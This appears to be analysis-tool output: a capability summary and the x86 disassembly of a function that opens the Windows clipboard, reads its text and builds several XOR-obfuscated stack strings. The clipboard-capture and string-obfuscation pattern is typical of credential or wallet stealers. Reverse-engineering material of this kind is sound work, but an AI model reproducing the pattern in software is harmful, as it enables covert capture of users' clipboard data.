Function at 0x4c27b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x4c
mov eax, dword [0x4dc00c]
xor eax, esp
mov dword [esp + 0x44], eax
push ebx
push ebp
push esi
push edi
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x4c2807
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
push 0
mov dword [esi + 0x10], 0
push 0x4ce469
mov dword [esi + 0x14], 0
call fcn.004b8860
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.004cbdc9
add esp, 0x4c
ret
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x4c27d0
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, eax
test ebp, ebp
je 0x4c27d0
push 0x2a555c
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov bh, 0x65
mov byte [esp + 0x1c], 0
mov cl, 2
mov byte [esp + 0x14], bh
mov ch, 0x36
mov byte [esp + 0x1c], 0
mov dl, 0x52
mov dword [esp + 0x34], 0
xor cl, bh
mov dword [esp + 0x38], 0
xor ch, bh
mov byte [esp + 0x16], cl
mov al, 0x35
mov byte [esp + 0x1a], ch
mov bl, 0xe
lea ecx, [esp + 0x15]
mov ah, 0x22
mov dh, 0x1c
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x17], dl
xor ah, bh
mov byte [esp + 0x15], al
xor dh, bh
mov byte [esp + 0x18], bl
xorps xmm0, xmm0
mov byte [esp + 0x1b], dh
mov byte [esp + 0x19], ah
lea edx, [ecx + 1]
movups xmmword [esp + 0x24], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2894
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.004b8860
mov byte [esp + 0x14], 0x6f
mov al, 0x1c
xor al, byte [esp + 0x14]
mov cl, 6
mov byte [esp + 0x15], al
mov dl, 0x3f
mov al, byte [esp + 0x14]
mov ah, 5
xor cl, al
mov byte [esp + 0x23], 0x3a
xor dl, al
mov byte [esp + 0x16], cl
xor ah, al
mov byte [esp + 0x1e], 0
mov ch, 0x36
mov byte [esp + 0x19], ah
xor ch, al
mov byte [esp + 0x17], dl
mov dh, 0x38
mov byte [esp + 0x1a], ch
xor dh, al
mov byte [esp + 0x1e], 0
mov bl, 0x5f
mov byte [esp + 0x1b], dh
xor bl, al
lea ecx, [esp + 0x24]
mov bh, 0x15
mov byte [esp + 0x18], bl
xor bh, al
mov al, byte [esp + 0x23]
xor al, byte [esp + 0x14]
mov byte [esp + 0x1d], al
lea eax, [esp + 0x15]
push eax
mov byte [esp + 0x20], bh
call fcn.004b7600
mov bh, 0x13
mov byte [esp + 0x1c], 0
mov al, 0x27
mov byte [esp + 0x14], bh
mov ah, 0x26
mov byte [esp + 0x1c], 0
xor al, bh
xor ah, bh
mov cl, 0x57
mov byte [esp + 0x15], al
mov ch, 0x77
mov byte [esp + 0x19], ah
xor cl, bh
lea eax, [esp + 0x15]
xor ch, bh
mov byte [esp + 0x16], cl
mov dl, 0x7e
mov byte [esp + 0x1a], ch
mov dh, 0x54
lea ecx, [esp + 0x24]
mov bl, 0x7a
xor dl, bh
xor dh, bh
mov byte [esp + 0x17], dl
xor bl, bh
mov byte [esp + 0x1b], dh
push eax
mov byte [esp + 0x1c], bl
call fcn.004b7600
mov ecx, dword [esp + 0x38]
cmp ecx, 0x10
jb 0x4c29ae
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4c29a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4c29a4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004cc05d
add esp, 8
mov ecx, ebp
mov dword [esp + 0x4c], 0
xorps xmm0, xmm0
mov dword [esp + 0x50], 0
movups xmmword [esp + 0x3c], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c29d0
sub ecx, edx
push ecx
push ebp
lea ecx, [esp + 0x44]
call fcn.004b8860
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
movups xmm0, xmmword [esp + 0x3c]
mov ecx, dword [esp + 0x54]
mov eax, esi
pop edi
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x48]
movq qword [esi + 0x10], xmm0
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cbdc9
add esp, 0x4c
ret